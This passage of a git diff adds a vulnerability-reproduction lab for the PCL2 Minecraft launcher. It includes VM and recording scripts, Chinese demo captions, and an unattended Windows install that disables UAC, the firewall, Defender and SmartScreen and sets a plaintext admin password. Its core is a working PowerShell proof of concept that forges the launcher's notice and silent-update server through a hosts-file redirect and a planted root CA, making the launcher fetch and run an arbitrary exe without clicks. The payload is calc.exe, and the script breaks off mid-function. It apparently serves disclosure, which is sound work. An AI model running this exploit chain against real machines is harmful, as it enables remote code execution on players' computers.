+                if failures <= 3 or failures % 50 == 0:
+                    log("capture error (%d): %s" % (failures, exc))
+                time.sleep(0.2)
+
+            next_at += args.interval
+            if next_at < time.time() - args.interval:
+                next_at = time.time() + args.interval
+    finally:
+        index.close()
+        qmp.close()
+        log("stopped after %d frames, %.1fs" % (frame, time.time() - start))
+    return 0
+
+
+if __name__ == "__main__":
+    sys.exit(main())

+ 13 - 0
repeat/record.sh

@@ -0,0 +1,13 @@
+#!/usr/bin/env bash
+# Record the QEMU console. Start it before run-vm.sh; it retries the QMP socket.
+set -euo pipefail
+
+ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+OUT="${1:-$ROOT/frames/install}"
+
+mkdir -p "$OUT"
+exec python3 "$ROOT/record.py" \
+    --qmp "$ROOT/run/qmp.sock" \
+    --out "$OUT" \
+    --interval 0.125 \
+    --boot-keys

+ 63 - 0
repeat/run-vm.sh

@@ -0,0 +1,63 @@
+#!/usr/bin/env bash
+set -euo pipefail
+
+ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+VM_DIR="${VM_DIR:-$HOME/.HHD/PCLPoC-VM}"
+ISO="${ISO:-$HOME/.HHD/en-us_windows_10_enterprise_ltsc_2021_x64_dvd_d289cf96.iso}"
+PHASE="${1:-install}"
+RUN="$ROOT/run"
+
+mkdir -p "$RUN"
+
+for f in "$VM_DIR/disk.qcow2" "$VM_DIR/toolkit.img"; do
+    if [[ ! -f "$f" ]]; then
+        echo "missing: $f" >&2
+        exit 1
+    fi
+done
+if [[ "$PHASE" == "install" && ! -f "$ISO" ]]; then
+    echo "missing ISO: $ISO" >&2
+    exit 1
+fi
+if pgrep -f "qemu-system.*PCLPoC-2.99.0.1" >/dev/null 2>&1; then
+    echo "PCLPoC VM is already running" >&2
+    exit 1
+fi
+
+rm -f "$RUN/qmp.sock" "$RUN/qemu.pid"
+
+args=(
+    -name PCLPoC-2.99.0.1
+    -machine q35,accel=kvm
+    -cpu host
+    -smp 4,sockets=1,cores=4,threads=1
+    -m 4096
+    -rtc base=localtime,driftfix=slew
+    -vga std
+    -vnc 127.0.0.1:2
+    -qmp "unix:$RUN/qmp.sock,server=on,wait=off"
+    -pidfile "$RUN/qemu.pid"
+    -drive "file=$VM_DIR/disk.qcow2,if=none,id=disk0,format=qcow2,cache=writeback,discard=unmap"
+    -device ahci,id=ahci0
+    -device "ide-hd,drive=disk0,bus=ahci0.0,bootindex=2"
+    -drive "file=$VM_DIR/toolkit.img,if=none,id=usb0,format=raw,cache=writeback"
+    -device qemu-xhci,id=xhci
+    -device "usb-storage,drive=usb0,bus=xhci.0,removable=on,serial=PCLTOOL"
+)
+
+if [[ "$PHASE" == "install" ]]; then
+    args+=(
+        -boot order=d,menu=off
+        -drive "file=$ISO,if=none,id=cd0,format=raw,media=cdrom,readonly=on"
+        -device "ide-cd,drive=cd0,bus=ahci0.1,bootindex=1"
+    )
+else
+    args+=(-boot order=c,menu=off)
+fi
+
+qemu-system-x86_64 "${args[@]}" -daemonize
+
+echo "VM started: phase=$PHASE"
+echo "pid: $(cat "$RUN/qemu.pid" 2>/dev/null || echo unknown)"
+echo "QMP: $RUN/qmp.sock"
+echo "VNC: 127.0.0.1:5902 (localhost only)"

+ 9 - 0
repeat/subtitles/captions.tsv

@@ -0,0 +1,9 @@
+step1	打开 Windows 10 LTSC 2021 隔离虚拟机
+step2	复制新版 PCL 2.99.0.1 压缩包到桌面
+step3	解压到桌面
+step4	运行 PoC:伪造公告服务器、hosts 与自签 CA
+method1	方法一:LaunchAdvanceRun 已被 2.99.0.1 拉黑,payload 未执行
+step6	删掉整个 PCL
+step7	方法二:notice.cfg + slientupdate → 静默更新 → 任意 exe
+success	零点击成功:PCL 退出时执行下载的 exe
+end	结论:方法一被堵,方法二仍然可用

+ 231 - 0
repeat/toolkit/autounattend.xml

@@ -0,0 +1,231 @@
+<?xml version="1.0" encoding="utf-8"?>
+<unattend xmlns="urn:schemas-microsoft-com:unattend"
+          xmlns:wcm="http://schemas.microsoft.com/WMIConfig/2002/State"
+          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
+  <settings pass="windowsPE">
+    <component name="Microsoft-Windows-International-Core-WinPE"
+               processorArchitecture="amd64"
+               publicKeyToken="31bf3856ad364e35"
+               language="en-US"
+               versionScope="nonSxS">
+      <SetupUILanguage>
+        <UILanguage>en-US</UILanguage>
+      </SetupUILanguage>
+      <InputLocale>en-US</InputLocale>
+      <SystemLocale>en-US</SystemLocale>
+      <UILanguage>en-US</UILanguage>
+      <UserLocale>en-US</UserLocale>
+    </component>
+    <component name="Microsoft-Windows-Setup"
+               processorArchitecture="amd64"
+               publicKeyToken="31bf3856ad364e35"
+               language="en-US"
+               versionScope="nonSxS">
+      <DiskConfiguration>
+        <Disk wcm:action="add">
+          <DiskID>0</DiskID>
+          <WillWipeDisk>true</WillWipeDisk>
+          <CreatePartitions>
+            <CreatePartition wcm:action="add">
+              <Order>1</Order>
+              <Type>Primary</Type>
+              <Size>500</Size>
+            </CreatePartition>
+            <CreatePartition wcm:action="add">
+              <Order>2</Order>
+              <Type>Primary</Type>
+              <Extend>true</Extend>
+            </CreatePartition>
+          </CreatePartitions>
+          <ModifyPartitions>
+            <ModifyPartition wcm:action="add">
+              <Order>1</Order>
+              <PartitionID>1</PartitionID>
+              <Active>true</Active>
+              <Format>NTFS</Format>
+              <Label>System Reserved</Label>
+            </ModifyPartition>
+            <ModifyPartition wcm:action="add">
+              <Order>2</Order>
+              <PartitionID>2</PartitionID>
+              <Format>NTFS</Format>
+              <Label>Windows</Label>
+              <Letter>C</Letter>
+            </ModifyPartition>
+          </ModifyPartitions>
+        </Disk>
+        <WillShowUI>OnError</WillShowUI>
+      </DiskConfiguration>
+      <DynamicUpdate>
+        <Enable>false</Enable>
+        <WillShowUI>Never</WillShowUI>
+      </DynamicUpdate>
+      <ImageInstall>
+        <OSImage>
+          <InstallFrom>
+            <MetaData wcm:action="add">
+              <Key>/IMAGE/INDEX</Key>
+              <Value>1</Value>
+            </MetaData>
+          </InstallFrom>
+          <InstallTo>
+            <DiskID>0</DiskID>
+            <PartitionID>2</PartitionID>
+          </InstallTo>
+          <WillShowUI>OnError</WillShowUI>
+        </OSImage>
+      </ImageInstall>
+      <UserData>
+        <AcceptEula>true</AcceptEula>
+        <FullName>PCL Lab</FullName>
+        <Organization>PCLPoC Lab</Organization>
+        <ProductKey>
+          <Key>M7XTQ-FN8P6-TTKYV-9D4CC-J462D</Key>
+          <WillShowUI>Never</WillShowUI>
+        </ProductKey>
+      </UserData>
+    </component>
+  </settings>
+
+  <settings pass="specialize">
+    <component name="Microsoft-Windows-Shell-Setup"
+               processorArchitecture="amd64"
+               publicKeyToken="31bf3856ad364e35"
+               language="en-US"
+               versionScope="nonSxS">
+      <ComputerName>PCL-LTSC</ComputerName>
+      <TimeZone>China Standard Time</TimeZone>
+      <RegisteredOwner>PCL Lab</RegisteredOwner>
+      <RegisteredOrganization>PCLPoC Lab</RegisteredOrganization>
+    </component>
+    <component name="Microsoft-Windows-Deployment"
+               processorArchitecture="amd64"
+               publicKeyToken="31bf3856ad364e35"
+               language="en-US"
+               versionScope="nonSxS">
+      <RunSynchronous>
+        <RunSynchronousCommand wcm:action="add">
+          <Order>1</Order>
+          <Description>Disable UAC</Description>
+          <Path>cmd /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f</Path>
+        </RunSynchronousCommand>
+        <RunSynchronousCommand wcm:action="add">
+          <Order>2</Order>
+          <Description>Disable UAC consent prompt</Description>
+          <Path>cmd /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f</Path>
+        </RunSynchronousCommand>
+        <RunSynchronousCommand wcm:action="add">
+          <Order>3</Order>
+          <Description>Disable firewall</Description>
+          <Path>cmd /c netsh advfirewall set allprofiles state off</Path>
+        </RunSynchronousCommand>
+        <RunSynchronousCommand wcm:action="add">
+          <Order>4</Order>
+          <Description>Disable SmartScreen</Description>
+          <Path>cmd /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v SmartScreenEnabled /t REG_SZ /d Off /f</Path>
+        </RunSynchronousCommand>
+        <RunSynchronousCommand wcm:action="add">
+          <Order>5</Order>
+          <Description>Disable SmartScreen policy</Description>
+          <Path>cmd /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v EnableSmartScreen /t REG_DWORD /d 0 /f</Path>
+        </RunSynchronousCommand>
+        <RunSynchronousCommand wcm:action="add">
+          <Order>6</Order>
+          <Description>Disable Defender realtime policy</Description>
+          <Path>cmd /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f</Path>
+        </RunSynchronousCommand>
+        <RunSynchronousCommand wcm:action="add">
+          <Order>7</Order>
+          <Description>Disable Windows Update</Description>
+          <Path>cmd /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f</Path>
+        </RunSynchronousCommand>
+        <RunSynchronousCommand wcm:action="add">
+          <Order>8</Order>
+          <Description>Disable hibernate</Description>
+          <Path>cmd /c powercfg /hibernate off</Path>
+        </RunSynchronousCommand>
+        <RunSynchronousCommand wcm:action="add">
+          <Order>9</Order>
+          <Description>High performance power plan</Description>
+          <Path>cmd /c powercfg /setactive 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c</Path>
+        </RunSynchronousCommand>
+        <RunSynchronousCommand wcm:action="add">
+          <Order>10</Order>
+          <Description>Disable monitor and standby timeouts</Description>
+          <Path>cmd /c powercfg /change monitor-timeout-ac 0</Path>
+        </RunSynchronousCommand>
+        <RunSynchronousCommand wcm:action="add">
+          <Order>11</Order>
+          <Description>Disable standby timeout</Description>
+          <Path>cmd /c powercfg /change standby-timeout-ac 0</Path>
+        </RunSynchronousCommand>
+        <RunSynchronousCommand wcm:action="add">
+          <Order>12</Order>
+          <Description>Defender exclusions</Description>
+          <Path>powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\PCLPoC','C:\Users\lab\Desktop\PCL','C:\Users\Public' -ErrorAction SilentlyContinue"</Path>
+        </RunSynchronousCommand>
+      </RunSynchronous>
+    </component>
+  </settings>
+
+  <settings pass="oobeSystem">
+    <component name="Microsoft-Windows-International-Core"
+               processorArchitecture="amd64"
+               publicKeyToken="31bf3856ad364e35"
+               language="en-US"
+               versionScope="nonSxS">
+      <InputLocale>en-US</InputLocale>
+      <SystemLocale>en-US</SystemLocale>
+      <UILanguage>en-US</UILanguage>
+      <UserLocale>en-US</UserLocale>
+    </component>
+    <component name="Microsoft-Windows-Shell-Setup"
+               processorArchitecture="amd64"
+               publicKeyToken="31bf3856ad364e35"
+               language="en-US"
+               versionScope="nonSxS">
+      <OOBE>
+        <HideEULAPage>true</HideEULAPage>
+        <HideOEMRegistrationScreen>true</HideOEMRegistrationScreen>
+        <HideOnlineAccountScreens>true</HideOnlineAccountScreens>
+        <HideWirelessSetupInOOBE>true</HideWirelessSetupInOOBE>
+        <NetworkLocation>Work</NetworkLocation>
+        <ProtectYourPC>3</ProtectYourPC>
+        <SkipMachineOOBE>true</SkipMachineOOBE>
+        <SkipUserOOBE>true</SkipUserOOBE>
+      </OOBE>
+      <UserAccounts>
+        <LocalAccounts>
+          <LocalAccount wcm:action="add">
+            <Password>
+              <Value>PclPoC!2026</Value>
+              <PlainText>true</PlainText>
+            </Password>
+            <Description>PCL PoC lab account</Description>
+            <DisplayName>PCL Lab</DisplayName>
+            <Group>Administrators</Group>
+            <Name>lab</Name>
+          </LocalAccount>
+        </LocalAccounts>
+      </UserAccounts>
+      <AutoLogon>
+        <Password>
+          <Value>PclPoC!2026</Value>
+          <PlainText>true</PlainText>
+        </Password>
+        <Enabled>true</Enabled>
+        <LogonCount>999</LogonCount>
+        <Username>lab</Username>
+      </AutoLogon>
+      <FirstLogonCommands>
+        <SynchronousCommand wcm:action="add">
+          <Order>1</Order>
+          <Description>Start PCL PoC demo</Description>
+          <CommandLine>cmd.exe /c "for %d in (C D E F G H I J K) do @if exist %d:\pcl-test\firstlogon.cmd call %d:\pcl-test\firstlogon.cmd"</CommandLine>
+          <RequiresUserInput>false</RequiresUserInput>
+        </SynchronousCommand>
+      </FirstLogonCommands>
+      <TimeZone>China Standard Time</TimeZone>
+    </component>
+  </settings>
+</unattend>

+ 543 - 0
repeat/toolkit/pcl-test/PCLPoC/Invoke-PCLPoC.ps1

@@ -0,0 +1,543 @@
+#Requires -Version 5.1
+<#
+.SYNOPSIS
+    PCL2 (Plain Craft Launcher 2) notice.json local-hijack PoC.
+
+.DESCRIPTION
+    Installs a lab CA into the machine root store, points the PCL notice CDN
+    hostname at 127.0.0.1, serves forged notice.cfg / notice.json /
+    ServerConfig.json / update.zip from server.py, starts the supplied PCL
+    build, and verifies that the payload (marker + calc.exe) was executed.
+
+    Modes:
+      launch : notice.json -> actions.setup -> LaunchAdvanceRun = payload.
+               The payload fires when you click "Start Game" in PCL.
+               (Reproduces the sample notice supplied by the requester.)
+      update : notice.cfg v999 + notice.json -> actions.slientupdate +
+               ServerConfig DownloadUrls -> update.zip = payload renamed to
+               "Plain Craft Launcher 2.exe".  Zero-click: PCL downloads and
+               extracts it, then executes it when PCL exits.
+      xaml   : notice.json -> actions.setup -> remote Custom.xaml homepage
+               + HintCustomCommand=true.  Two PCL starts: the first writes
+               the settings, the second loads the XAML; one click on the
+               injected button runs the payload.
+      both   : launch + update (default).
+
+    Run this only in an isolated Windows VM.  It modifies the hosts file,
+    the machine root certificate store and the PCL settings; cleanup is
+    attempted in the finally block.
+
+.PARAMETER PclPath
+    Path to the PCL executable.  Defaults to ..\Plain Craft Launcher 2.exe.
+
+.PARAMETER Port
+    Local HTTPS port (default 443, requires administrator).
+
+.PARAMETER Timeout
+    Seconds to wait for the payload marker (default 180).
+
+.PARAMETER KeepArtifacts
+    Do not delete the marker / payload / staging exe after the run.
+
+.EXAMPLE
+    powershell -ExecutionPolicy Bypass -File .\Invoke-PCLPoC.ps1 -Mode update
+#>
+[CmdletBinding()]
+param(
+    [ValidateSet('launch', 'update', 'xaml', 'both')]
+    [string]$Mode = 'both',
+
+    [string]$PclPath = '',
+
+    [int]$Port = 443,
+
+    [int]$Timeout = 180,
+
+    [string]$PythonExe = '',
+
+    [ValidateSet('auto', 'powershell', 'python')]
+    [string]$Server = 'auto',
+
+    [switch]$KeepArtifacts,
+
+    [switch]$Pause,
+
+    [switch]$Manual
+)
+
+$ErrorActionPreference = 'Stop'
+
+$Domain       = 'pcl2-server-1253424809.file.myqcloud.com'
+$PocDir       = Split-Path -Parent $MyInvocation.MyCommand.Path
+$HostsFile    = Join-Path $env:SystemRoot 'System32\drivers\etc\hosts'
+$PublicDir    = if ($env:PUBLIC) { $env:PUBLIC } else { 'C:\Users\Public' }
+$PayloadExe   = Join-Path $PublicDir 'pclpoc.exe'
+$MarkerFile   = Join-Path $env:TEMP 'pcl-poc-marker.txt'
+$BackupDir    = Join-Path $PocDir 'backup'
+$RunLog       = Join-Path $PocDir 'poc-run.log'
+$pauseArg     = if ($Pause) { ' -Pause' } else { '' }
+$usePsServer  = ($Server -ne 'python')
+$manualArg    = if ($Manual) { ' -Manual' } else { '' }
+
+function Write-Log {
+    param([string]$Message)
+    $line = '[{0:HH:mm:ss}] {1}' -f (Get-Date), $Message
+    Write-Host $line
+    Add-Content -LiteralPath $RunLog -Value $line -Encoding UTF8
+}
+
+function Test-Admin {
+    $id = [Security.Principal.WindowsIdentity]::GetCurrent()
+    $pr = New-Object Security.Principal.WindowsPrincipal($id)
+    return $pr.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
+}
+
+function Wait-Port {
+    param([int]$TcpPort, [int]$Seconds = 15)
+    $sw = [Diagnostics.Stopwatch]::StartNew()
+    while ($sw.Elapsed.TotalSeconds -lt $Seconds) {
+        try {
+            $c = New-Object Net.Sockets.TcpClient
+            $c.Connect('127.0.0.1', $TcpPort)
+            $c.Close()
+            return $true
+        } catch {
+            Start-Sleep -Milliseconds 250
+        }
+    }
+    return $false
+}
+
+function Close-Pcl {
+    param([System.Diagnostics.Process]$Process)
+    if ($null -eq $Process -or $Process.HasExited) { return }
+    Write-Log "Closing PCL PID $($Process.Id) ..."
+    $null = $Process.CloseMainWindow()
+    if (-not $Process.WaitForExit(10000)) {
+        try {
+            $ws = New-Object -ComObject WScript.Shell
+            $null = $ws.AppActivate($Process.Id)
+            Start-Sleep -Milliseconds 300
+            $ws.SendKeys('%{F4}')
+            Start-Sleep -Milliseconds 800
+            $ws.SendKeys('{ENTER}')
+        } catch { }
+        $null = $Process.WaitForExit(8000)
+    }
+    if (-not $Process.HasExited) {
+        Write-Log 'PCL did not exit gracefully, killing it (silent-update restart may be skipped).'
+        Stop-Process -Id $Process.Id -Force
+    }
+}
+
+# --------------------------------------------------------------------------
+# PowerShell 7 compatibility: the payload compiler below needs Windows
+# PowerShell 5.1 (`Add-Type -OutputType ConsoleApplication` is unsupported in
+# pwsh 7).  Re-launch under 5.1 once, preserving elevation.
+# --------------------------------------------------------------------------
+if ($PSVersionTable.PSEdition -eq 'Core' -and $env:PCLPOC_PS51 -ne '1') {
+    Write-Host '[*] PowerShell 7 detected; switching to Windows PowerShell 5.1 ...'
+    $q = "`$env:PCLPOC_PS51='1'; & '$PSCommandPath' -Mode '$Mode' -PclPath '$PclPath' -Port $Port -Timeout $Timeout$pauseArg$manualArg"
+    $ps51Args = @('-NoProfile', '-ExecutionPolicy', 'Bypass', '-Command', $q)
+    try {
+        if (Test-Admin) {
+            Start-Process -FilePath 'powershell.exe' -ArgumentList $ps51Args | Out-Null
+        } else {
+            Start-Process -FilePath 'powershell.exe' -Verb RunAs -ArgumentList $ps51Args | Out-Null
+        }
+        exit
+    } catch {
+        Write-Warning "Could not start powershell.exe 5.1 ($($_.Exception.Message)); continuing in pwsh."
+    }
+}
+
+# --------------------------------------------------------------------------
+# elevation
+# --------------------------------------------------------------------------
+if (-not (Test-Admin)) {
+    Write-Host '[*] Administrator privileges are required; relaunching elevated ...'
+    $q = "& '$PSCommandPath' -Mode '$Mode' -PclPath '$PclPath' -Port $Port -Timeout $Timeout$pauseArg$manualArg"
+    Start-Process -FilePath 'powershell.exe' -Verb RunAs -ArgumentList @(
+        '-NoProfile', '-ExecutionPolicy', 'Bypass', '-Command', $q
+    ) | Out-Null
+    exit
+}
+
+New-Item -ItemType Directory -Force -Path $BackupDir | Out-Null
+Set-Content -LiteralPath $RunLog -Value "PCL2 notice.json PoC - $(Get-Date -Format o)" -Encoding UTF8
+
+$srv         = $null
+$pcl         = $null
+$caCert      = $null
+$leafCert    = $null
+$hostsBackup = Join-Path $BackupDir 'hosts.bak'
+$setupIni    = $null
+$setupBackup = $null
+$regBackup   = Join-Path $BackupDir 'pcl-reg.bak.reg'
+$stagingExe  = $null
+$stagingExisted = $false
+
+try {
+    # ----------------------------------------------------------------------
+    # resolve paths / python
+    # ----------------------------------------------------------------------
+    if (-not $PclPath -and -not $Manual) {
+        $PclPath = Join-Path (Split-Path -Parent $PocDir) 'Plain Craft Launcher 2.exe'
+    }
+    if ($PclPath) {
+        if (-not (Test-Path -LiteralPath $PclPath)) {
+            throw "PCL executable not found: $PclPath"
+        }
+        $PclPath = (Resolve-Path -LiteralPath $PclPath).Path
+        $PclDir  = Split-Path -Parent $PclPath
+        Write-Log "PCL: $PclPath"
+    } else {
+        Write-Log 'No PclPath: server-only manual mode; all PCL-specific steps are skipped.'
+        Write-Log 'WARNING: PCL Setup.ini is not backed up; use a disposable PCL copy.'
+        Write-Log 'WARNING: staging cleanup is skipped; delete <your PCL>\PCL\Plain Craft Launcher 2.exe manually.'
+    }
+
+    if (-not $usePsServer) {
+    $pyPrefix = @()
+    if ($PythonExe) {
+        $pc = Get-Command $PythonExe -ErrorAction SilentlyContinue
+        if ($pc) {
+            $pyPath = $pc.Source
+        } elseif (Test-Path -LiteralPath $PythonExe) {
+            $pyPath = (Resolve-Path -LiteralPath $PythonExe).Path
+        } else {
+            throw "PythonExe not found: $PythonExe"
+        }
+        if ([IO.Path]::GetFileName($pyPath) -ieq 'py.exe') { $pyPrefix = @('-3') }
+    } else {
+        $pyPath = $null
+        foreach ($name in @('python.exe', 'py.exe', 'python3.exe')) {
+            foreach ($c in @(Get-Command $name -All -ErrorAction SilentlyContinue)) {
+                if ($c.Source -like '*\WindowsApps\*') {
+                    Write-Log "Skipping Microsoft Store alias: $($c.Source)"
+                    continue
+                }
+                $pyPath = $c.Source
+                if ($name -ieq 'py.exe') { $pyPrefix = @('-3') }
+                break
+            }
+            if ($pyPath) { break }
+        }
+        if (-not $pyPath) {
+            throw "No real Python 3 found. The python.exe in WindowsApps is a Microsoft Store alias and cannot run server.py. Install Python from python.org (check 'Add python.exe to PATH'), or run: winget install -e --id Python.Python.3.12  Then rerun with -PythonExe C:\Path\to\python.exe if needed."
+        }
+    }
+    $ver = (& $pyPath @pyPrefix --version 2>&1) -join ' '
+    if ($LASTEXITCODE -ne 0) {
+        throw "Python failed to run: $pyPath $($pyPrefix -join ' ') --version => $ver"
+    }
+    Write-Log "Python: $pyPath ($ver)"
+    }
+
+    # ----------------------------------------------------------------------
+    # backup / patch hosts
+    # ----------------------------------------------------------------------
+    Copy-Item -LiteralPath $HostsFile -Destination $hostsBackup -Force
+    $hostsLines = Get-Content -LiteralPath $HostsFile -ErrorAction SilentlyContinue
+    if (-not ($hostsLines -match "(^|\s)$([regex]::Escape($Domain))(\s|$)")) {
+        Add-Content -LiteralPath $HostsFile -Value "`r`n127.0.0.1 $Domain" -Encoding ASCII
+        Write-Log "hosts: $Domain -> 127.0.0.1"
+    } else {
+        Write-Log 'hosts already contains the lab entry.'
+    }
+    & ipconfig.exe /flushdns 2>$null | Out-Null
+    Write-Log 'DNS cache flushed.' 
+
+    # ----------------------------------------------------------------------
+    # trust the lab CA
+    # ----------------------------------------------------------------------
+    if ($usePsServer) {
+        Write-Log 'Generating lab CA and leaf certificates ...'
+        $caCert = New-SelfSignedCertificate -Subject 'CN=PCL2 PoC Lab CA' `
+            -CertStoreLocation 'Cert:\CurrentUser\My' -KeyUsage CertSign,CRLSign `
+            -TextExtension @('2.5.29.19={critical}{text}ca=1') -NotAfter (Get-Date).AddYears(10)
+        $leafCert = New-SelfSignedCertificate -DnsName $Domain -Signer $caCert `
+            -CertStoreLocation 'Cert:\CurrentUser\My' `
+            -TextExtension @('2.5.29.37={text}1.3.6.1.5.5.7.3.1') -NotAfter (Get-Date).AddYears(10)
+        $caCer = Join-Path $BackupDir 'poc-ca.cer'
+        Export-Certificate -Cert $caCert -FilePath $caCer -Force | Out-Null
+        Import-Certificate -FilePath $caCer -CertStoreLocation 'Cert:\LocalMachine\Root' | Out-Null
+        Write-Log "CA generated: $($caCert.Thumbprint)"
+        Write-Log "leaf generated: $($leafCert.Thumbprint)"
+    } else {
+        $caPath = Join-Path $PocDir 'certs\ca.crt'
+        $caCert = Import-Certificate -FilePath $caPath -CertStoreLocation 'Cert:\LocalMachine\Root'
+        Write-Log "CA imported: $($caCert.Thumbprint)"
+    }
+
+    # ----------------------------------------------------------------------
+    # build the payload (marker + calc.exe)
+    # ----------------------------------------------------------------------
+    $payloadCode = @'
+using System;
+using System.Diagnostics;
+using System.IO;
+
+public class PclPocPayload
+{
+    public static void Main(string[] args)
+    {
+        try
+        {
+            string marker = Path.Combine(Path.GetTempPath(), "pcl-poc-marker.txt");
+            string line = DateTime.Now.ToString("o") + " pid=" +
+                Process.GetCurrentProcess().Id + " args=" + string.Join(" ", args) +
+                Environment.NewLine;
+            File.AppendAllText(marker, line);
+        }
+        catch { }
+        try { Process.Start("calc.exe"); } catch { }
+    }
+}
+'@
+    if (Test-Path -LiteralPath $PayloadExe) { Remove-Item -LiteralPath $PayloadExe -Force }
+    try {
+        Add-Type -TypeDefinition $payloadCode -OutputAssembly $PayloadExe -OutputType ConsoleApplication -ErrorAction Stop
+        Write-Log "payload compiled: $PayloadExe"
+    } catch {
+        Write-Log "payload compile failed ($($_.Exception.Message)); falling back to calc.exe copy"
+        Copy-Item -LiteralPath (Join-Path $env:SystemRoot 'System32\calc.exe') -Destination $PayloadExe -Force
+    }
+
+    # ----------------------------------------------------------------------
+    # back up PCL state that the notice will modify
+    # ----------------------------------------------------------------------
+    if ($PclDir) {
+        $setupIni = Join-Path $PclDir 'PCL\Setup.ini'
+        if (Test-Path -LiteralPath $setupIni) {
+            $setupBackup = Join-Path $BackupDir 'Setup.ini.bak'
+            Copy-Item -LiteralPath $setupIni -Destination $setupBackup -Force
+        }
+    }
+    & cmd.exe /c "reg export `"HKCU\Software\PCL`" `"$regBackup`" /y >nul 2>&1"
+
+    # reset notice bookkeeping so our id is always considered new
+    & cmd.exe /c "reg add `"HKCU\Software\PCL`" /v HintNotice /t REG_SZ /d 0 /f >nul 2>&1"
+
+    # remove stale caches
+    $cacheDir = Join-Path $env:TEMP 'PCL\Cache'
+    foreach ($n in @('Notice.json', 'Notice.cfg', 'ServerConfig.json', 'Custom.xaml')) {
+        Remove-Item -LiteralPath (Join-Path $cacheDir $n) -Force -ErrorAction SilentlyContinue
+    }
+    Remove-Item -LiteralPath $MarkerFile -Force -ErrorAction SilentlyContinue
+
+    if ($PclDir) {
+        $stagingExe = Join-Path $PclDir 'PCL\Plain Craft Launcher 2.exe'
+        if (Test-Path -LiteralPath $stagingExe) {
+            $stagingExisted = $true
+            Copy-Item -LiteralPath $stagingExe -Destination (Join-Path $BackupDir 'staging.bak') -Force
+            Remove-Item -LiteralPath $stagingExe -Force -ErrorAction SilentlyContinue
+        }
+    }
+
+    # ----------------------------------------------------------------------
+    # start the forged HTTPS server
+    # ----------------------------------------------------------------------
+    $zip = Join-Path $PocDir 'www\update.zip'
+    Remove-Item -LiteralPath $zip -Force -ErrorAction SilentlyContinue
+
+    $stdout = Join-Path $BackupDir 'server.out.log'
+    $stderr = Join-Path $BackupDir 'server.err.log'
+    if ($usePsServer) {
+        $serverScript = Join-Path $PocDir 'server.ps1'
+        $serverArgs = @(
+            '-NoProfile', '-ExecutionPolicy', 'Bypass', '-File', ('"' + $serverScript + '"'),
+            '-Mode', $Mode,
+            '-Bind', '127.0.0.1',
+            '-Port', $Port,
+            '-PayloadExe', ('"' + $PayloadExe + '"'),
+            '-CertThumbprint', $leafCert.Thumbprint
+        )
+        $srv = Start-Process -FilePath 'powershell.exe' -ArgumentList $serverArgs `
+            -PassThru -WindowStyle Hidden -RedirectStandardOutput $stdout -RedirectStandardError $stderr
+    } else {
+        $serverScript = Join-Path $PocDir 'server.py'
+        $serverArgs = @(
+            ('"' + $serverScript + '"'),
+            '--mode', $Mode,
+            '--bind', '127.0.0.1',
+            '--port', $Port,
+            '--payload-exe', ('"' + $PayloadExe + '"')
+        )
+        $srv = Start-Process -FilePath $pyPath -ArgumentList (@($pyPrefix) + $serverArgs) `
+            -PassThru -WindowStyle Hidden -RedirectStandardOutput $stdout -RedirectStandardError $stderr
+    }
+    if (-not (Wait-Port -TcpPort $Port -Seconds 15)) {
+        $tail = ''
+        if (Test-Path -LiteralPath $stderr) {
+            $tail = ((Get-Content -LiteralPath $stderr -Tail 30 -ErrorAction SilentlyContinue) -join [Environment]::NewLine)
+        }
+        throw "PoC server did not listen on port $Port. Server stderr:`n$tail`nSee $stderr"
+    }
+    Write-Log "PoC server listening on https://127.0.0.1:$Port (mode=$Mode)"
+
+    # ----------------------------------------------------------------------
+    # start PCL
+    # ----------------------------------------------------------------------
+    if ($Manual) {
+        Write-Log 'Manual mode: PCL will not be started or closed by this script.'
+        Write-Host ''
+        Write-Host '>>> MANUAL MODE: start and close PCL yourself.' -ForegroundColor Yellow
+        if ($PclPath) {
+            Write-Host ">>> PCL: $PclPath"
+        } else {
+            Write-Host '>>> PCL: your own copy (this script does not track or touch it)'
+        }
+        $stagingLabel = if ($stagingExe) { $stagingExe } else { '<your PCL folder>\PCL\Plain Craft Launcher 2.exe' }
+        switch ($Mode) {
+            'update' { Write-Host ">>> Wait until this file exists: $stagingLabel" }
+            'both'   { Write-Host ">>> Wait until this file exists: $stagingLabel" }
+            'launch' { Write-Host '>>> In PCL, click "Start Game".' }
+            'xaml'   { Write-Host '>>> Start PCL, wait about 20 seconds, close it, start it again, then click "Continue".' }
+        }
+        Write-Host '>>> Then close PCL normally (for update mode) or finish the click.'
+        Write-Host '>>> The server keeps running while you work.'
+        Write-Host '>>> When done, press Enter in THIS window to verify and cleanup.'
+        Write-Host ''
+        Read-Host 'Press Enter to stop the server and cleanup'
+    } else {
+        Write-Log 'Starting PCL ...'
+        $pcl = Start-Process -FilePath $PclPath -WorkingDirectory $PclDir -PassThru
+        Write-Log "PCL PID $($pcl.Id)"
+
+        if ($Mode -eq 'update' -or $Mode -eq 'both') {
+            Write-Log 'Waiting for the silent update to stage PCL\Plain Craft Launcher 2.exe ...'
+            $sw = [Diagnostics.Stopwatch]::StartNew()
+            while ($sw.Elapsed.TotalSeconds -lt 120) {
+                if ((Test-Path -LiteralPath $stagingExe) -and ((Get-Item -LiteralPath $stagingExe).Length -gt 0)) {
+                    Write-Log 'update payload staged.'
+                    break
+                }
+                Start-Sleep -Milliseconds 500
+            }
+            if (-not (Test-Path -LiteralPath $stagingExe)) {
+                Write-Log 'WARNING: update payload was not staged; check server logs and PCL logs.'
+            }
+            Start-Sleep -Seconds 2
+            Close-Pcl -Process $pcl
+        }
+
+        if ($Mode -eq 'xaml') {
